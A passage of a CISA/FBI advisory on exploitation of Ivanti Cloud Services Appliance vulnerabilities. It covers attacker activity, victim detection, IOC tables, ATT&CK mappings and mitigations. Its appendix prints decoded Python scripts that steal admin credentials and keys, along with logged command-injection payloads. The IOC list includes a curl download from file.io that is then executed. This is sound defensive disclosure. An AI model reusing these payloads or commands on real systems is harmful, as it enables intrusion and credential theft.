In another compromise, the threat actors maintained their presence on the victim’s system for a longer amount of time. The threat actors used sudo commands to disable the vulnerability in DateTimeTab.php, modify and remove webshells, and remove evidence of exploitation [T1548.003]. See Appendix B for the list of sudo commands used.

Lateral Movement

In one case, there was evidence of lateral movement after the threat actors gained access and established a foothold through this exploit chain. It is suspected that the threat actors gained access into a Jenkins server running a vulnerable, outdated version [T1068]. Logs on the Jenkins machine showed that a command in the bash history contained credentials to the postgres server. The threat actors then attempted to log into the Virtual Private Network (VPN) server but were unsuccessful. Prior to moving laterally, the actors likely performed discovery on the CSA device using Obelisk and GoGo to scan for vulnerabilities [T1595.002].

Exploit Chain 2

In one confirmed compromise, the actors used a similar exploit chain, exploiting CVE-2024-8963 in conjunction with CVE-2024-9379, using GET /client/index.php%3f.php/gsb/broker.php for initial access.

After the threat actors gained initial access, they attempted to exploit CVE-2024-9379 to create a webshell to gain persistent access. They executed GET and POST requests in quick succession to /client/index.php%3F.php/gsb/broker.php. In the POST body, threat actors entered the following string in the lockout attempts input box: LOCKOUTATTEMPTS = 1 ;INSERT INTO user_info(username, accessed, attempts) VALUES ('''echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>/.k''', NOW(), 10). The first portion of the command (LOCKOUTATTEMPTS=1) fit the format of the application and was properly handled by the application. However, the second portion of the command, a SQL injection [T1190], was not properly handled by the application. Regardless, the application processed both commands, allowing the threat actors to insert a user into the user_info table.

After inserting valid bash code as a user in the user_info table, the threat actors attempted to login as the user. The authoring agencies believe the threat actors knew this login would fail but were attempting to coerce the application into handling the bash code improperly. In this attempt, the application did not evaluate the validity of the login, but instead ran echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>./k as if it were code. The threat actors repeated the process of echo commands until they built a valid web shell [T1059]. However, there were no observations that the threat actors were successful.

Detection of Activity

According to incident response data from three victim organizations, the actors were unsuccessful with follow-on activity due to the organizations’ rapid detection of the malicious activity. To remediate exploitation, all three organizations replaced the virtual machines with clean and upgraded versions.

Victim Organization 1

The first organization detected malicious activity early in the exploitation. A system administrator detected the anomalous creation of user accounts. After investigation, the organization remediated the incident. While it is likely admin credentials were exfiltrated, there were no signs of lateral movement.

Victim Organization 2

This organization had an endpoint protection platform (EPP) installed on their system that alerted when the threat actors executed base64 encoded script to create webshells. There were no indications of webshells successfully being created or of lateral movement.

Victim Organization 3

This organization leveraged the IOC findings from the other two victim sites to quickly detect malicious activity. This threat activity included the download and deployment of Obelisk and GoGo Scanner, which generated a large number of logs. The organization used these logs to identify anomalous activity.

Indicators of Compromise

See Table 1 through Table 3 for IOCs related to the threat actors’ exploitation of CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 in Ivanti CSA.

Disclaimer: Some IP addresses in this cybersecurity advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.

Table 1: IP Address Used for Credential Theft, September 2024
File Name IP Address Description
“/client/index.php%3f.php/gsb/datetime.php 142.171.217[.]195 /var/log/messages
“/client/index.php%3f.php/gsb/datetime.php 154.64.226[.]166 /var/log/messages-20240904.gz
“/client/index.php%3f.php/gsb/datetime.php 216.131.75[.]53  
“/client/index.php%3f.php/gsb/datetime.php 23.236.66[.]97 /var/log/messages-20240905.gz
“/client/index.php%3f.php/gsb/datetime.php 38.207.159[.]76 /var/log/messages-20240906.gz
Table 2: Survey 2, Ivanti CSA Network IOC List, September 2024
File Name IP Address Description
  149.154.167[.]41  
  95.161.76[.]100  
hxxps://file.io/E50vtqmJP5aa    
hxxps://file.io/RBKuU8gicWt    
hxxps://file.io/frdZ9L18R7Nx    
hxxp://ip.sb    

hxxps://pan.xj.hk/d/

6401646e701f5f47518ecef48a308a36/redis

   
  142.171.217[.]195  
  108.174.199[.]200  
  206.189.156[.]69  
  108.174.199[.]200/Xa27efd2.tmp  
  142.171.217[.]195  
Table 3: Additional IOCs Derived from Incident Response, September 2024
Type IOC Description
Ipv4 107.173.89[.]16  
Ipv4 38.207.159[.]76  
Ipv4 142.171.217[.]195  
Ipv4 154.64.226[.]166  
Ipv4 156.234.193[.]18  
Ipv4 216.131.75[.]53  
Ipv4 205.169.39[.]11  
Ipv4 23.236.66[.]97  
Ipv4 149.154.176[.]41  
Ipv4 95.161.76[.]100  
Ipv4 142.171.217[.]195  
Ipv4 108.174.199[.]200  
Ipv4 206.189.156[.]69  
Ipv4 142.171.217[.]195  
Ipv4 67.217.228[.]83  
Ipv4 203.160.72[.]174  
Ipv4 142.11.217[.]3  
Ipv4 104.168.133[.]228  
Ipv4 64.176.49[.]160  
Ipv4 45.141.215[.]17  
Ipv4 142.171.217[.]195  
Ipv4 98.101.25[.]30  
Ipv4 216.131.75[.]53  
Ipv4 134.195.90[.]71  
Ipv4 23.236.66[.]97  
Hash a50660fb31df96b3328640fdfbeea755  
Hash 53c5b7d124f13039eb62409e1ec2089d  
Hash 698a752ec1ca43237cb1dc791700afde  
Hash aa69300617faab4eb39b789ebfeb5abe  
Hash c2becc553b96ba27d60265d07ec3bd6c  
Hash cacc30e2a5b2683e19e45dc4f191cebc /opt/ivanti/csa/broker/webroot/client/help.php
Hash 061e5946c9595e560d64d5a8c65be49e /opt/landesk/broker/webroot/gsb/view.php
Hash

e35cf026057a3729387b7ecfb213ae

62a611f0f1a418876b11c9df3b56885bed

/tmp/brokerdebug
Hash c7d20ca6fe596009afaeb725fec8635f /opt/landesk/broker/webroot/gsb/help.php
Hash F7F81AE880A17975F60E1E0FE1A4048B /opt/landesk/broker/webroot/gsb/DateTimeTab.php
Hash 86B62FFD33597FD635E01B95F08BB996 /opt/landesk/broker/webroot/gsb/style.php
Hash DD975310201079CACD4CDE6FACAB8C1D /opt/landesk/broker/webroot/client/index.php
Hash 1B20E9310CA815F9E2BD366FB94E147F

/sbin/systemd  

Configuration file at /WpService.conf

Hash 30f57e14596f1bcad7cc4284d1af4684

/sbin/systemd 

Configuration file at /WpService.conf

URL hxxps://file.io/E50vtqmJP5aa  
URL hxxps://file.io/RBKuU8gicWt  
URL hxxps://file.io/frdZ9L18R7Nx  
URL hxxp://ip.sb  
URL

hxxps://pan.xj.hk/d/

6401646e701f5f47518ecef48a308a36/redis

 
URL 108.174.199.200/Xa27efd2.tmp  
URL 45.33.101.53/log  
URL 45.33.101.53/log2  
URL 208.184.237.75/fdsupdate  
URL 173.243.138.76/fdsupdate  
URL cri07nnrg958pkh6qhk0977u8c83jog6t.oast[.]fun  
URL cri07nnrg958pkh6qhk0yrgy1e76p1od6.oast[.]fun  
domain gg.oyr2ohrm.eyes[.]sh  
domain ggg.oyr2ohrm.eyes[.]sh  
domain gggg.oyr2ohrm.eyes[.]sh  
domain txt.xj[.]hk  
domain book.hacktricks[.]xyz  
host sh -c setsid /dev/shm/redis &  
host

sh -c curl -k https://file[.]io/1zqvMYY1dpkk -o

/dev/shm/redis2

 
host sh -c mv /dev/shm/redis2 /dev/shm/redis  
host sh -c rm /dev/shm/*  
host rm /dev/shm/PostgreSQL.1014868572 /dev/shm/redis  
host 78cc672218949a9ec87407ad3bcb5db6 Agent.zip
host d13f71e51b38ffef6b9dc8efbed27615 Log.log
host d88bfac2b43509abdc70308bef75e2a6 Log.exe
host R.exe (MD5: 60d5648d35bacf5c7aa713b2a0d267d3) R.exe
host ae51c891d2e895b5ca919d14edd42c26 CAService.exe
host d88bfac2b43509abdc70308bef75e2a6 Lgfxsys.exe
host f82847bccb621e6822a3947bc9ce9621 NetlO.cfg
host c894f55c8fa9d92e2dd2c78172cff745 XboVFyKw.tmp
host MD5: Unknown Wi.bat
host MD5: Unknown dCUgGXfm.tmp
host MD5: Unknown DijZViHC.tmp
CrowdStrike Falcon e09fef2f502a41c199046219a6584e8d CrowdStrike falcon cid
/var/secure log nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/ln -sf  
/var/secure log nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/mv /tmp/php.ini /etc/php.ini  
/var/secure log nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/sbin/hwclock –localtime –systohc   
/var/secure log nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/backuptool –fullList  
Ipv4 142.171.217[.]195  
Ipv4 107.173.89[.]16  
Ipv4 192.42.116[.]210  
Ipv4 82.197.182[.]161  
Ipv4 154.213.185[.]230  
Ipv4 216.131.75[.]53  
Ipv4 23.236.66[.]97  
Ipv4 208.105.190[.]170  
Ipv4 136.144.17[.]145  
Ipv4 136.144.17[.]133  
Ipv4 216.73.162[.]56  
Ipv4 104.28.240[.]123  
Ipv4 163.5.171[.]49  
Ipv4 89.187.178[.]179  
Ipv4 163.5.171[.]49  
Ipv4 203.160.86[.]69  
Ipv4 185.220.69[.]83  
Ipv4 185.199.103[.]196  
Ipv4 188.172.229[.]15  
Ipv4 155.138.215[.]144  
Ipv4 64.176.49[.]160  
Ipv4 185.40.4[.]38  
Ipv4 216.131[.]75.53  
Ipv4 185.40.4[.]95  

MITRE ATT&CK Tactics and Techniques

See Table 4 to Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 4: Reconnaissance
Technique Title ID Use
Active Scanning: Vulnerability Scanning T1595.002 Threat actors performed reconnaissance by using Obelisk and GoGo to scan for vulnerabilities.
Table 5: Initial Access
Technique Title ID Use
Exploit Public-Facing Application T1190 Threat actors leveraged weaknesses in applications that are not properly handled to compromise network device protocols, perform SQL injections, and generally exploit applications.
Table 6: Execution
Technique Title ID Use
Command and Scripting Interpreter T1059 Threat actors abused command and script interpreters to execute commands, scripts, or binaries.
Table 7: Persistence
Technique Title ID Use
Modify Authentication Process T1556 Threat actors executed an authentication bypass by exploiting the authentication mechanisms of a device to gain access to organizations’ networks.
Server Software Component: Web Shell T1505.003 Threat actors executed code to implant webshells for persistence.
Table 8: Privilege Escalation
Technique Title ID Use
Exploitation for Privilege Escalation T1068 Threat actors leveraged weaknesses to gain access via an outdated, vulnerable version of a server.
Table 9: Defense Evasion
Technique Title ID Use
Hide Artifacts: Hidden Users T1564.002 Threat actors acted as a hidden user to disguise their presence on a system.
Deobfuscate/Decode Files or Information T1140 Threat actors decrypted credentials prior to exfiltration by leveraging native tools located in the extracted backup file.
Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1548.003 Threat actors used sudo commands to disable vulnerabilities, modify and remove webshells, and remove evidence of exploitation.
Table 10: Credential Access
Technique Title ID Use
Unsecured Credentials: Credentials in Files T1552.001 Threat actors harvested encrypted admin credentials to gain further access.
Table 11: Lateral Movement
Technique Title ID Use
Exploitation of Remove Services T1210 Threat actors exploited CSAs via remote services to gain access to an organization’s networks by leveraging programming errors, EOL systems, and operating systems.
Table 12: Command and Control
Technique Title ID Use
Remote Access Software T1219 Threat actors attempted to remotely authenticate into a victim’s network and execute arbitrary commands on the appliance.
Application Layer: Web Protocol T1071.001 Threat actors used tools such as GET or POST requests to acquire session and CSRF tokens.
Table 13: Exfiltration
Technique Title ID Use
Exfiltration TA0010 Threat actors exfiltrated encrypted admin credentials or other encrypted data for future use.

Incident Response

If compromise is detected, the authoring agencies recommend that organizations:

  1. Quarantine or take offline potentially affected hosts.
  2. Reimage compromised hosts.
  3. Provision new account credentials.
  4. For Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol and AD.
  5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
    Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
  6. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).

Mitigations

CISA and FBI recommend organizations: 

  • Upgrade to the latest supported version of Ivanti CSA immediately for continued support.[3] Please note that Ivanti CSA 4.6 is EOL and no longer receives patches or third-party libraries. Customers must upgrade to the latest version of the product for continued support.
  • Install endpoint detection and response (EDR) on the system to alert network defenders on unusual and potentially malicious activity.
  • Establish a baseline and maintain detailed logs of network traffic, account behavior, and software. This can assist network defenders in identifying anomalies that may indicate malicious activity more quickly.
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
  • Secure remote access tools by:
    • Implementing application controls to manage and control software execution, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
  • Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
  • Follow best cybersecurity practices in your production and enterprise environments,including mandating phishing-resistant multifactor authentication (MFA) for all staff and services. For additional best practices, see CISA’s Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common tactics, techniques, and procedures. Because the CPGs are a subset of best practices, CISA and FBI also recommend software manufacturers implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).

Validate Security Controls

In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 4 through Table 13).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

References

  1. Ivanti: Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)
  2. Ivanti: Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)
  3. Ivanti: Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)
  4. Fortinet: Burning Zero Days: Suspected Nation-State Adversary Targets Ivanti CSA

Contact Information

Organizations are encouraged to report suspicious or criminal activity related to information in this advisory to:

  • CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.

Version History

January 22, 2025: Initial version.

Appendix A: Encoded and Decoded Scripts

Decoded Python Scripts

{
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
   if t and m:
       msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ”
   os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
   dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
if r:
   p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin” | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
   os.system(“tar zxvf {}”.format(r))
   while True:
       for f in os.listdir(‘.’):
           if re.match(“phpw{6}”, f):
               os.chmod(f, 0o777)
               m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, “PASSWORD”, m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
}
{
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
   if t and m:
       msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ”
   os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’service'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
   dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
if r:
   p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’service” | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
   os.system(“tar zxvf {}”.format(r))
   while True:
       for f in os.listdir(‘.’):
           if re.match(“phpw{6}”, f):
               os.chmod(f, 0o777)
               m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, “PASSWORD”, m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
}
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
   if t and m:
       msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ”
   os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
   dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
if r:
   p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
   os.system(“tar zxvf {}”.format(r))
   while True:
       for f in os.listdir(‘.’):
           if re.match(“phpw{6}”, f):
               os.chmod(f, 0o777)
               m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, “PASSWORD”, m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
   if t and m:
       msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ”
   os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
   dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
if r:
   p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
   os.system(“tar zxvf {}”.format(r))
   while True:
       for f in os.listdir(‘.’):
           if re.match(“phpw{6}”, f):
               os.chmod(f, 0o777)
               m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, “PASSWORD”, m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)

{
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
   if t and m:
       msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ”
   os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’,lockoutalert=0,attempts=0 where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))

with open(“/opt/landesk/broker/broker.conf”) as f:
   dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]

   p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip()
   v = p.split(‘:’)
   k = os.popen(‘base 64 -w0 root/.certs/{}.key’.format(v[1])).read()
   set_msg(dbpwd, “PASSWORD”, p+’||’+k)
   time.sleep(30)
   set_msg(dbpwd)
}

{
import os, re, base64, time

def set_msg(p, t=”, m=”):
   if t and m:
       msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ”
   os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’,lockoutalert=0 where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))

os.chdir(“/tmp”)
d = “/backups”
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
   dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
   os.system(”’export PGPASSWORD={};echo “delete from user_info where runas=’Nobody'”|psql -d brokerdb -U gsbadmin”’.format(dbpwd))
   if r:
       p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
       os.system(“tar zxvf {}”.format(r))
       while True:
           for f in os.listdir(‘.’):
               if re.match(“phpw{6}”, f):
                   os.chmod(f, 0o777)
                   m = os.popen(“./{} ‘{}’ ‘{}’ ‘{}’ root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
                   if m:
                       set_msg(dbpwd, “PASSWORD”, m)
                       time.sleep(30)
                       set_msg(dbpwd)
                       exit()
   else:
       set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
}

{
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
   if t and m:
       msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
   else:
       msg = ”
   os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
   r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
   dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read())[0]
   os.system(”’export PGPASSWORD={};echo “delete from user_info where runas=’Nobody'”|psql -d brokerdb -U gsbadmin”’.format(dbpwd))
if r:
   p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
   os.system(“tar zxvf {}”.format(r))
   while True:
       for f in os.listdir(‘.’):
           if re.match(“phpw{6}”, f):
               os.chmod(f, 0o777)
               m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
               if m:
                   set_msg(dbpwd, “PASSWORD”, m)
                   time.sleep(30)
                   set_msg(dbpwd)
                   exit()
else:
   set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
}

Decoded datetime.php ‘timezone’ Exploit base64 Scripts

{
Sep  5 01:09:59 REDACTED gsb[996]: /etc/php.ini
rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo 
“update user_info set organization=’||/usr/bin/echo import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
  if t and m:
      msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
  else:
      msg = ”
  os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
  r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
  r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
  dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
  p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
  os.system(“tar zxvf {}”.format(r))
  while True:
      for f in os.listdir(‘.’):
          if re.match(“phpw{6}”, f):
              os.chmod(f, 0o777)
              m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
              if m:
                  set_msg(dbpwd, “PASSWORD”, m)
                  time.sleep(30)
                  set_msg(dbpwd)
                  exit()
else:
  set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)
}
{
Sep  5 01:47:01 REDACTED gsb[2599]: /etc/php.ini
rewritten with new timezone: ‘;/usr/bin/echo 
import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
  if t and m:
      msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
  else:
      msg = ”
  os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
  r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
  r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
  dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
  p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
  os.system(“tar zxvf {}”.format(r))
  while True:
      for f in os.listdir(‘.’):
          if re.match(“phpw{6}”, f):
              os.chmod(f, 0o777)
              m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
              if m:
                  set_msg(dbpwd, “PASSWORD”, m)
                  time.sleep(30)
                  set_msg(dbpwd)
                  exit()
else:
  set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)  
| /usr/bin/base64 -d | python;’ (1)
}
{
Sep  5 02:14:08 REDACTED gsb[1273]: /etc/php.ini
rewritten with new timezone: ‘;export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d ‘=’ -f2-`;echo 
“update user_info set organization=’||/usr/bin/echo import os, re, base64, time
os.chdir(“/tmp”)
d = “/backups”
def set_msg(p, t=”, m=”):
  if t and m:
      msg = ‘AA{}:{}BB’.format(t, base64.b64encode(m.encode()).decode())
  else:
      msg = ”
  os.system(”’export PGPASSWORD={};echo “update user_info set organization='{}’ where username=’admin'”|psql -d brokerdb -U gsbadmin”’.format(p, msg))
try:
  r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime)
except:
  r = None
with open(“/opt/landesk/broker/broker.conf”) as f:
  dbpwd = re.findall(“PGSQL_PW=(.*)”, f.read
())[0]
if r:
  p = os.popen(“export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=’admin’ | psql -d brokerdb -U gsbadmin -h localhost”.format(dbpwd)).read().split(“n”)[-4].strip().split(‘:’)
  os.system(“tar zxvf {}”.format(r))
  while True:
      for f in os.listdir(‘.’):
          if re.match(“phpw{6}”, f):
              os.chmod(f, 0o777)
              m = os.popen(“./{} {} {} {} root/.certs/{}.key {}”.format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()
              if m:
                  set_msg(dbpwd, “PASSWORD”, m)
                  time.sleep(30)
                  set_msg(dbpwd)
                  exit()
else:
  set_msg(dbpwd, ‘ERROR’, ‘NO BACKUP’)
| /usr/bin/base64 -d | python||’ where username=’admin'”|psql -d brokerdb -U gsbadmin;’ (1)
}
{
Sep  5 22:22:06 REDACTED gsb[9367]: /etc/php.ini
